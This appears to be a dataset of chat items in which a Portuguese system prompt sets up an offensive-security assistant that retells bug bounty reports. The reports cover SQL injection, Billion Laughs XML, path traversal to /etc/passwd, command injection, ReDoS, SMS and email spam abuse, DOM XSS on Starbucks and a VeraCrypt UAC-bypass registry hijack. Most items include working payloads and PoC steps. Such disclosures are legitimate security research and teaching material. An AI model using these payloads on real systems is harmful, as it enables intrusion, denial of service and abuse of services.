increments.vote('fruits', 'Oranges","0","0","1","0","0","0","0","","0")'+',(123,"Oranges","0","0","1","0","0","0","0","","0")'.repeat(10)+'#');
increments.statistics('fruits', function(e, f) {
	console.log( f.projectedWinner );
	process.exit(0);
});
```

Output:
```
{ name: 'Oranges',
  id: 'oranges',
  color: undefined,
  count: 11,
  percentage: 100 }
```

### Impacto
SQL Injection.


[System] Você é um assistente de inteligência artificial especializado em segurança ofensiva e pentest. Seu objetivo é ajudar pesquisadores de segurança a entender vulnerabilidades reais, fornecendo resumos técnicos, passos de reprodução e análises de impacto baseadas em relatórios reais de bug bounty.

[User] Explique a vulnerabilidade e como reproduzi-la baseando-se no relatório: c3p0 may be exploited by a Billion Laughs Attack when loading XML configuration

[Assistant]
### Passos para Reproduzir
> Detailed steps to reproduce with all required references/steps/commands. Any sample/exploit code or other proof of concept.

1) Use `C3P0ConfigXmlUtils.extractXmlConfigFromInputStream()` on Billion Laughs XML payload
2) Have a billion laughs while the JVM crashes.

```
import com.mchange.v2.c3p0.cfg.C3P0ConfigXmlUtils;
import java.io.InputStream;

public class C3P0PoC {

    public static void main(String[] args) throws Exception {

        String payload = args[0];
        InputStream inputStream = C3P0PoC.class.getResourceAsStream(payload);

        C3P0ConfigXmlUtils.extractXmlConfigFromInputStream(inputStream, false);

        System.out.println("Completed!");
    }
}
```

XML Payload
```
<?xml version="1.0"?>
<!DOCTYPE lolz [
        <!ENTITY lol "lol">
        <!ELEMENT lolz (#PCDATA)>
        <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
        <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
        <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
        <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
        <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
        <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
        <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
        <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
        <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
        ]>
<lolz>&lol9;</lolz>
```

### Impacto
This could be leveraged by an attacker to cause a Denial of Service by crashing the JVM that the server process is running on.


[System] Você é um assistente de inteligência artificial especializado em segurança ofensiva e pentest. Seu objetivo é ajudar pesquisadores de segurança a entender vulnerabilidades reais, fornecendo resumos técnicos, passos de reprodução e análises de impacto baseadas em relatórios reais de bug bounty.

[User] Explique a vulnerabilidade e como reproduzi-la baseando-se no relatório: [md-fileserver] Path Traversal

[Assistant]
### Passos para Reproduzir
1.npm install -g md-fileserver

2.start the local server by typing below on commandline
$mdstart

3.now on terminal type
curl -v --path-as-is http://127.0.0.1:8080/etc/passwd

it will list all the credentials in passwd folder

### Impacto
This vulnerability allows malicious user to read content of any file on the server, which leads to data breach or other attacks.


[System] Você é um assistente de inteligência artificial especializado em segurança ofensiva e pentest. Seu objetivo é ajudar pesquisadores de segurança a entender vulnerabilidades reais, fornecendo resumos técnicos, passos de reprodução e análises de impacto baseadas em relatórios reais de bug bounty.

[User] Explique a vulnerabilidade e como reproduzi-la baseando-se no relatório: All functions that allow users to specify color code are vulnerable to ReDoS

[Assistant]
### Passos para Reproduzir
1. Create a project.
2. Go to `http(s)://{GitLab Host}/{userid}/{Project Name}/labels/new`.
3. Fill out `Title` form with `PoC`.
4. Click `Create label` button.
5. Intercept the request.
6. Change the value of the parameter of `label%5Bcolor%5D` to `#0...(50000 times)c0ffee`.
7. Forward the request.

Result: Can not access to GitLab service. (CPU usage rate of the server had risen to over 90%.)

Note: If the attacker sends requests continuously, DoS will be continuous.

### Impacto
All users will not be able to access the entire GitLab service.


[System] Você é um assistente de inteligência artificial especializado em segurança ofensiva e pentest. Seu objetivo é ajudar pesquisadores de segurança a entender vulnerabilidades reais, fornecendo resumos técnicos, passos de reprodução e análises de impacto baseadas em relatórios reais de bug bounty.

[User] Explique a vulnerabilidade e como reproduzi-la baseando-se no relatório: [listening-processes] Command Injection

[Assistant]
### Passos para Reproduzir
```
$ node
> const processes = require('listening-processes')
> processes(`'Python && whoami >> hh;'`)
/bin/sh: \s.*:[0-9]* (LISTEN): command not found
{ Python:
   [ { command: 'Python',
       pid: '14720',
       port: '8000',
       invokingCommand:
        '/usr/local/Cellar/python/3.7.0/Frameworks/Python.framework/Versions/3.7/Resources/Python.app/Contents/MacOS/Python -m http.server' } ] }
```
```
$ cat hh
notpwnguy
```

### Impacto
Arbitrary Commands can be executed!


[System] Você é um assistente de inteligência artificial especializado em segurança ofensiva e pentest. Seu objetivo é ajudar pesquisadores de segurança a entender vulnerabilidades reais, fornecendo resumos técnicos, passos de reprodução e análises de impacto baseadas em relatórios reais de bug bounty.

[User] Explique a vulnerabilidade e como reproduzi-la baseando-se no relatório: Unprotected Api EndPoints

[Assistant]
### Resumo da Vulnerabilidade
I am able to automate the get/post requests of the following api end-points with a python script which can lead to heavy load to server resulting in dos attack or buffer overflow.
/internal_api/v0.2/getSuggestedProjects
/internal_api/v0.2/getLanguages
/internal_api/v0.2/getLoggedInUser
/internal_api/v0.2/getSecuritySettings
/internal_api/v0.2/getActiveOAuthGrants
/internal_api/v0.2/getAccountEmails
/internal_api/v0.2/getExternalAccounts
/internal_api/v0.2/getAuthenticationProviders
/internal_api/v0.2/getActivePRIntegrations
/internal_api/v0.2/getProjectLatestStateStats
/internal_api/v0.2/getBlogPosts
/internal_api/v0.2/setUsername
/internal_api/v0.2/savePublicInformation

### Passos para Reproduzir
[add details for how we can reproduce the issue]

  1. Create an account  lgtm-com.pentesting.semmle.net.
  2. Get The cookie and nonce value of your logged in session by intercepting post/get requests with burpsuite.
  3. Use the cookie and nonce value in dos.py script(attached) inorder to execute endless api calls.
  4.Watch Video Attached as POC.

### Impacto
Leading to heavy load on server that can lead to dos attack or buffer overflow using post requests with no rate limit restriction.


[System] Você é um assistente de inteligência artificial especializado em segurança ofensiva e pentest. Seu objetivo é ajudar pesquisadores de segurança a entender vulnerabilidades reais, fornecendo resumos técnicos, passos de reprodução e análises de impacto baseadas em relatórios reais de bug bounty.

[User] Explique a vulnerabilidade e como reproduzi-la baseando-se no relatório: All Burp Suite Scan report

[Assistant]
### Resumo da Vulnerabilidade
[1. Detected Deserialization RCE: Jackson
1.1. https://lgtm-com.pentesting.semmle.net/blog/ [lgtm_short_session cookie]
1.2. https://lgtm-com.pentesting.semmle.net/internal_api/v0.2/getSuggestedProjects [apiVersion parameter]
2. Session token in URL
3. CSP: Inline scripts can be inserted
3.1. https://lgtm-com.pentesting.semmle.net/
3.2. https://lgtm-com.pentesting.semmle.net/admin
3.3. https://lgtm-com.pentesting.semmle.net/admin%3Cscript%3Ealert(9876)
3.4. https://lgtm-com.pentesting.semmle.net/admin%3Cscript%3Ealert(9876)%3C/
3.5. https://lgtm-com.pentesting.semmle.net/admin%3Cscript%3Ealert(9876)%3C/script%3E
3.6. https://lgtm-com.pentesting.semmle.net/blog
3.7. https://lgtm-com.pentesting.semmle.net/blog/
3.8. https://lgtm-com.pentesting.semmle.net/blog/images/
3.9. https://lgtm-com.pentesting.semmle.net/blog/images/announcing_project_badges/
3.10. https://lgtm-com.pentesting.semmle.net/blog/images/bsides_wrap_up/
3.11. https://lgtm-com.pentesting.semmle.net/blog/images/does_review_improve_quality/
3.12. https://lgtm-com.pentesting.semmle.net/blog/images/ghostscript_2018/
3.13. https://lgtm-com.pentesting.semmle.net/blog/images/how_lgtm_builds_cplusplus/
3.14. https://lgtm-com.pentesting.semmle.net/blog/images/introducing_dataflow_path_exploration/
3.15. https://lgtm-com.pentesting.semmle.net/internal_api/v0.2/getProjectLatestStateStats
4. Vulnerable version of the library 'jquery' found
4.1. https://lgtm-com.pentesting.semmle.net/static/site/scripts/vendor-jquery.41f697b3f15739940f70.js
4.2. https://lgtm-com.pentesting.semmle.net/static/site/scripts/vendor-jquery.41f697b3f15739940f70.js
5. [SSL Scanner] Sweet32
6. Interesting input handling: Magic value: none
7. Strict Transport Security Misconfiguration
8. CSP: Libraries using eval or setTimeout are allow
8.1. https://lgtm-com.pentesting.semmle.net/
8.2. https://lgtm-com.pentesting.semmle.net/admin
8.3. https://lgtm-com.pentesting.semmle.net/admin%3Cscript%3Ealert(9876)
8.4. https://lgtm-com.pentesting.semmle.net/internal_api/v0.2/getActivePRIntegrations
8.5. https://lgtm-com.pentesting.semmle.net/internal_api/v0.2/getAuthenticationProviders
8.6. https://lgtm-com.pentesting.semmle.net/internal_api/v0.2/getAvailableProjects
8.7. https://lgtm-com.pentesting.semmle.net/internal_api/v0.2/getBlogPosts
8.8. https://lgtm-com.pentesting.semmle.net/internal_api/v0.2/getDist
8.9. https://lgtm-com.pentesting.semmle.net/internal_api/v0.2/getDocumentationArticle
8.10. https://lgtm-com.pentesting.semmle.net/internal_api/v0.2/getProjectLatestStateStats
8.11. https://lgtm-com.pentesting.semmle.net/tos
9. [Vulners] Vulnerable Software detected
9.1. https://lgtm-com.pentesting.semmle.net/static/site/scripts/vendor-jquery.41f697b3f15739940f70.js
9.2. https://lgtm-com.pentesting.semmle.net/static/site/scripts/vendor-jquery.41f697b3f15739940f70.js
10. Detected Deserialization RCE: JSON-IO
11. Interesting input handling: Magic value: null
12. Link manipulation (DOM-based)
12.1. https://lgtm-com.pentesting.semmle.net/
12.2. https://lgtm-com.pentesting.semmle.net/
12.3. https://lgtm-com.pentesting.semmle.net/admin%3Cscript%3Ealert(9876)%3C/
12.4. https://lgtm-com.pentesting.semmle.net/admin%3Cscript%3Ealert(9876)%3C/script%3E
12.5. https://lgtm-com.pentesting.semmle.net/admin%3Cscript%3Ealert(9876);%3C/
12.6. https://lgtm-com.pentesting.semmle.net/admin%3Cscript%3Ealert(9876);%3C/script%3E
12.7. https://lgtm-com.pentesting.semmle.net/blog/
12.8. https://lgtm-com.pentesting.semmle.net/blog/images/
12.9. https://lgtm-com.pentesting.semmle.net/blog/images/announcing_project_badges/
12.10. https://lgtm-com.pentesting.semmle.net/blog/images/bsides_wrap_up/
12.11. https://lgtm-com.pentesting.semmle.net/favicon.ico
12.12. https://lgtm-com.pentesting.semmle.net/help/
13. Lack or Misconfiguration of Security Header(s)
14. [SSL Scanner] LUCKY13
15. Interesting Header(s)
16. Software Version Numbers Revealed
16.1. https://lgtm-com.pentesting.semmle.net/qlapi-fast/getqlparser
16.2. https://lgtm-com.pentesting.semmle.net/qlapi-slow/checkerrors
16.3. https://lgtm-com.pentesting.semmle.net/static/site/scripts/vendor-jquery.41f697b3f15739940f70.js
16.4. https://lgtm-com.pentesting.semmle.net/static/site/scripts/vendor-lodash.57a18b08a24a9b344412.js
17. J2EEScan - Information Disclosure - Jetty 9.4.11.
17.1. https://lgtm-com.pentesting.semmle.net/qlapi-fast/
17.2. https://lgtm-com.pentesting.semmle.net/qlapi-fast/getqlparser
17.3. https://lgtm-com.pentesting.semmle.net/qlapi-fast/getqlparser
17.4. https://lgtm-com.pentesting.semmle.net/qlapi-fast/getqlparser
17.5. https://lgtm-com.pentesting.semmle.net/qlapi-slow/
17.6. https://lgtm-com.pentesting.semmle.net/qlapi-slow/checkerrors
17.7. https://lgtm-com.pentesting.semmle.net/qlapi-slow/checkerrors
17.8. https://lgtm-com.pentesting.semmle.net/qlapi-slow/checkerrors
17.9. https://lgtm-com.pentesting.semmle.net/qlapi-slow/checkerrors
17.10. https://lgtm-com.pentesting.semmle.net/qlapi-slow/checkerrors
18. Detailed Error Messages Revealed
18.1. https://lgtm-com.pentesting.semmle.net/help/ql/locations
18.2. https://lgtm-com.pentesting.semmle.net/internal_api/v0.2/getPersonBySlug
18.3. https://lgtm-com.pentesting.semmle.net/internal_api/v0.2/getPersonHistoryStats
18.4. https://lgtm-com.pentesting.semmle.net/internal_api/v0.2/getProjectLatestStateStats
18.5. https://lgtm-com.pentesting.semmle.net/internal_api/v0.2/getSearchSuggestions
18.6. https://lgtm-com.pentesting.semmle.net/internal_api/v0.2/performSearch
18.7. https://lgtm-com.pentesting.semmle.net/qlapi-slow/checkerrors
19. Cross-domain Referer leakage
19.1. https://lgtm-com.pentesting.semmle.net/login/
19.2. https://lgtm-com.pentesting.semmle.net/search
20. Frameable response (potential Clickjacking)
20.1. https://lgtm-com.pentesting.semmle.net/qlapi-fast/
20.2. https://lgtm-com.pentesting.semmle.net/qlapi-fast/getqlparser
20.3. https://lgtm-com.pentesting.semmle.net/qlapi-slow/
20.4. https://lgtm-com.pentesting.semmle.net/qlapi-slow/checkerrors
21. SSL certificate
22. [SSL Scanner] Supported Cipher Suites
23. [SSL Scanner] 3DES Cipher (Medium)]

### Passos para Reproduzir
[Look In Attached report]

### Impacto
The issues reported here as i had done burp scan so wanted to share complete report.


[System] Você é um assistente de inteligência artificial especializado em segurança ofensiva e pentest. Seu objetivo é ajudar pesquisadores de segurança a entender vulnerabilidades reais, fornecendo resumos técnicos, passos de reprodução e análises de impacto baseadas em relatórios reais de bug bounty.

[User] Explique a vulnerabilidade e como reproduzi-la baseando-se no relatório: Bypassing the SMS sending limit for download app link.

[Assistant]
### Passos para Reproduzir
1. visit to the website https://www.zomato.com/
  2. Now at the bottom there is a TEXT LINK BUTTON (Click it and intercept the request)
  3. It has an endpoints which have two **type** paramete rwhich handles the same sms functionality.

a) ``` /php/restaurantSmsHandler.php?type=app-download-sms&mobile_no=<NUMBER>&csrf_token=<TOKEN>```

b) ``` /php/restaurantSmsHandler.php?type=order-app-download-sms&mobile_no=<NUMBER>&csrf_token=<TOKEN>```

4) Now if we give the list of mobile number's to **mobile_no** parameter then all the numbers in this list are going to receive the sms.

 `/php/restaurantSmsHandler.php?type=app-download-sms&mobile_no=[8127410000,8317030000,...]&csrf_token=<TOKEN>`

>Here there is no limit on number of MOBILE NUMBERs that can we putted in the list.

### Impacto
>The attacker can send the spam download app sms to any number of people without any limit


[System] Você é um assistente de inteligência artificial especializado em segurança ofensiva e pentest. Seu objetivo é ajudar pesquisadores de segurança a entender vulnerabilidades reais, fornecendo resumos técnicos, passos de reprodução e análises de impacto baseadas em relatórios reais de bug bounty.

[User] Explique a vulnerabilidade e como reproduzi-la baseando-se no relatório: Sending Unlimited Emails to anyone from zomato mail server.

[Assistant]
### Passos para Reproduzir
1. Go to this url https://developers.zomato.com/api and click on the generate api key button.

>Note:- This button is only shown to the users those who have not generated the api_key before.

2 . Intercept the request in proxy you would get a post request

```
POST /php/developer HTTP/1.1
Host: www.zomato.com
Connection: close
Content-Length: 223
Accept: application/json, text/javascript, */*; q=0.01
Origin: https://developers.zomato.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.75 Safari/537.36
DNT: 1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: https://developers.zomato.com/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,fr;q=0.8,hi;q=0.7,ru;q=0.6
Cookie: PHPSESSID=f735ebfd3e11e47782417af48ab7ee23700ba818;

context=api&action=generate_api_key&plan=premium&token=c8bb20d4e575cf91aa8028ac9802a050&name=VIPIN+BIHARI&email=<ANY_EMAIL>&phone=8127411000&company=XYZ.com&country=1
```
F454847: Screenshot from 2019-03-30 10-31-02.png

3 . Now Attacker can Brute force the same request ( as above ) any numbers of times and the attacker would be able to send api_key email to anyone many times.

### Impacto
1. The attacker can send api_key email to anyone ( It will be a spam mail for anyone ) any number of times and there making there mailbox out of storage.
2. It cost money to send emails to anyone and here the company may have the financial loss (If attacker tries to send thousands of mail ).


[System] Você é um assistente de inteligência artificial especializado em segurança ofensiva e pentest. Seu objetivo é ajudar pesquisadores de segurança a entender vulnerabilidades reais, fornecendo resumos técnicos, passos de reprodução e análises de impacto baseadas em relatórios reais de bug bounty.

[User] Explique a vulnerabilidade e como reproduzi-la baseando-se no relatório: Protected Tweets setting overridden by Android app

[Assistant]
### Passos para Reproduzir
1. Log in to an account with unprotected tweets on the Android app.
  1. Log in to the same account on mobile.twitter.com and turn on protected tweets.
  1. Confirm that the account's tweets are protected.
  1. In the Android app, go to the Direct Messages tab, click the gear icon and change a setting such as "Receive message requests" or "Show read receipts."
  1. The account's tweets are now unprotected.

If this does not work, you may have to first explicitly unset the protected tweets setting in the Android app before setting it elsewhere.

### Impacto
:

This can cause a user's tweets to unknowingly become public. It is possible this could be exploited by an attacker asking the user to change their settings but that is less likely to succeed than with the previous bug where only changing the email address was required.


[System] Você é um assistente de inteligência artificial especializado em segurança ofensiva e pentest. Seu objetivo é ajudar pesquisadores de segurança a entender vulnerabilidades reais, fornecendo resumos técnicos, passos de reprodução e análises de impacto baseadas em relatórios reais de bug bounty.

[User] Explique a vulnerabilidade e como reproduzi-la baseando-se no relatório: Attacker can read password from log data

[Assistant]
### Resumo da Vulnerabilidade
Attacker can read plain text password from log data.

### Passos para Reproduzir
1. From application dashboard choose Users section, I simultaneously ran process hacker to see the process disk write and read behavior.
  2. change the password of one of the users, and you see in process hacker window the place for log data creation.
  3. Open the file in favorite editor in that place:
%UserProfile%\AppData\Local\Temp\tomcat.1470616378544174392.8080\work\Tomcat\localhost\midpoint

### Impacto
Attacker can read plain text password from log data.


[System] Você é um assistente de inteligência artificial especializado em segurança ofensiva e pentest. Seu objetivo é ajudar pesquisadores de segurança a entender vulnerabilidades reais, fornecendo resumos técnicos, passos de reprodução e análises de impacto baseadas em relatórios reais de bug bounty.

[User] Explique a vulnerabilidade e como reproduzi-la baseando-se no relatório: environment variable leakage in error reporting

[Assistant]
### Passos para Reproduzir
```
var seneca = require('seneca')()
seneca.die()
```

### Impacto
Access to cloud accounts. I got a 55$ bill out of this.


[System] Você é um assistente de inteligência artificial especializado em segurança ofensiva e pentest. Seu objetivo é ajudar pesquisadores de segurança a entender vulnerabilidades reais, fornecendo resumos técnicos, passos de reprodução e análises de impacto baseadas em relatórios reais de bug bounty.

[User] Explique a vulnerabilidade e como reproduzi-la baseando-se no relatório: DOM XSS on app.starbucks.com via ReturnUrl

[Assistant]
### Passos para Reproduzir
1. Visit https://app.starbucks.com/account/signin?ReturnUrl=%09Jav%09ascript:alert(document.domain)
2. Sign in

### Impacto
As with any xss, it could be used to steal the cookies of the victim to gain access to their account.


[System] Você é um assistente de inteligência artificial especializado em segurança ofensiva e pentest. Seu objetivo é ajudar pesquisadores de segurança a entender vulnerabilidades reais, fornecendo resumos técnicos, passos de reprodução e análises de impacto baseadas em relatórios reais de bug bounty.

[User] Explique a vulnerabilidade e como reproduzi-la baseando-se no relatório: Local Privilege Escalation during execution of VeraCryptExpander.exe (UAC bypass)

[Assistant]
### Resumo da Vulnerabilidade
Your VeraCryptExpander.exe is vulnerable to a Local Privilege Escalation (UAC BYPASS) during execution. The issue is located here:
https://github.com/veracrypt/VeraCrypt/blob/a108db7c85248a3b61d0c89c086922332249f518/src/ExpandVolume/VeraCryptExpander.manifest
https://github.com/veracrypt/VeraCrypt/blob/a108db7c85248a3b61d0c89c086922332249f518/src/ExpandVolume/WinMain.cpp

The issue is detected on the fact that you launch a web page  through an elevated process but trust the link to be opened by an app specified by registry keys belonging to HKCU Hive (current user domain) and not an elevated HIVE set like HKEY_LOCAL_MACHINE. It is possible for an attacker that has limited admin privileges (not full admin with UAC) to hijack the execution of you code by tampering specific registry keys linked to browsers and elevate his privileges ultimately tampering your installation folder by writing malicious code in it or replacing binaries with his own.

A file less malware that has hijacked the reghive altering or creating specific keys can hijack the execution of you binary and bypass UAC achieving full admin right.
Examples of malware using UAC bypass: https://attack.mitre.org/techniques/T1088/
The attack was successfully tested in both WIN 7 and WIN 10

### Passos para Reproduzir
Windows OS 7 (tested) for this example
Default browser Chrome (works with any default browser option just change the right reg)
User role ADMINISTRATOR - name of my user for the example is: TEMP
Step0. Create malicious script to elevate: malstaller.bat on desktop (attached)

Step1. Tamper Registry Keys - run add.bat attached after altering the current username
This action simulates an attacker (with low privilege admin) tampering the content of the following registry keys (no need for full admin rights). These keys are tampered to cover all cases of popular default browsers:

[HKEY_CURRENT_USER\Software\Classes\ChromeHTML\shell\open\command]
@="C:\Users\Temp\Desktop\malstaller.bat \"%1\""

[HKEY_CURRENT_USER\Software\Classes\ChromeURL\shell\open\command]
@="C:\Users\Temp\Desktop\malstaller.bat \"%1\""

[HKEY_CURRENT_USER\Software\Classes\FirefoxHTML\shell\open\command]
@="C:\Users\Temp\Desktop\malstaller.bat \"%1\""

[HKEY_CURRENT_USER\Software\Classes\FirefoxURL\shell\open\command]
@="C:\Users\Temp\Desktop\malstaller.bat \"%1\""

[HKEY_CURRENT_USER\Software\Classes\IE.HTTP\shell\open\command]
@="C:\Users\Temp\Desktop\malstaller.bat \"%1\""

[HKEY_CURRENT_USER\Software\Classes\IE.HTTPS\shell\open\command]
@="C:\Users\Temp\Desktop\malstaller.bat \"%1\""

[HKEY_CURRENT_USER\Software\Classes\HTTP\shell\open\command]
@="C:\Users\Temp\Desktop\malstaller.bat \"%1\""

[HKEY_CURRENT_USER\Software\Classes\HTTPS\shell\open\command]
@="C:\Users\Temp\Desktop\malstaller.bat \"%1\""

The path is altered to point to the malicious script that attacker wants to be elevated (UAC bypass attack/privilege escalation). This script can do anything like deleting/creating files under C:. Scheduling tasks etc.

Step2. To achieve/activate UAC bypass
Run VeraCryptExpander.exe and click on the button : "Homepage" on the higher top part of the window.
The execution in now hijacked (see video) and UAC bypass is achieved.

A one liner used in the video will place fake VeraCrypt2.exe (with putty.exe as PoC) under your installation folder and execute it with full admin priviledges.

Useful files of your installation can be tampered alternatively and used as backdoor.

Watch the video attached were a simple .bat script gains elevated admin privileges during your software execution and writes in admin space.

WINDOWS 10
User Role: Administrator

In order to successfully replicate the attack on Windows 10 the following steps must be followed (a little bit different from WIN 7) . As windows have changed some security setting you cannot alter the default browser for the attack to happen seamlessly. But win 10 users are still vulnerable. The difference is that after tampering reg keys to trap various browsers (not the current default) on the system in the affected system the victim must change the default browser to one that has been trapped for the exploit to happen.

In the example below on WIN 10 and with Default Browser assuming EDGE, we will trap IE. If after we alter reg keys executing the add.bat, the user chooses IE or any other browser in place as his default browser the exploit works as before.

Be Admin user logged in!
Step 1: Tamper or create registry keys for IE (or run add.bat) no UAC is needed to do so (your default browser is EDGE):

[HKEY_CURRENT_USER\Software\IE.HTTP\shell\open\command]
[HKEY_CURRENT_USER\Software\IE.HTTPS\shell\open\command]

With value:
"C:\Users{PLACE PROPER USER ACCOUNT NAME HERE}\Desktop\malstaller.bat" "%1"

Step 2: After step 1 is done and only then admin user chooses to set IE as default browser (your default browser is IE but in reality user has set our malicious script as default browser!!!).

Step3: Execute your vulnerable  software that triggers the execution of the malicious code with elevated privileges as before. click button "Homepage"

Note:
If the tampered keys are already set for ex. IE (booby-trap set) and for some reason the admin users chooses to change default browser from ex. Edge to IE (booby-trapped) then the attack works smoothly.

Both add.bat and malstaller.bat need changes in the username and relative paths to work for you.

Fix:Remove any link/button to external web resources on elevated processes.

In CPP while inside an elevated process (UAC accepted), use:
void safeCall()
{
	system("explorer http://www.test.com");
}

Instead of:
void unsafeCall()
{
	ShellExecute(0, 0, L"http://www.test.com", 0, 0, SW_SHOW);
}
The safeCall() will trigger a new process to open the URL with less privileges, keeping you safe from the attack. Stupid workaround but it works if you need to keep the link.

### Impacto
It is possible for an attacker that has limited admin privileges (not full admin with UAC) to hijack the execution of you code by tampering specific registry keys linked to browsers and elevate his privileges ultimately tampering your installation folder by writing malicious code in it or replacing binaries with his own. The installation of your software can be fully compromised.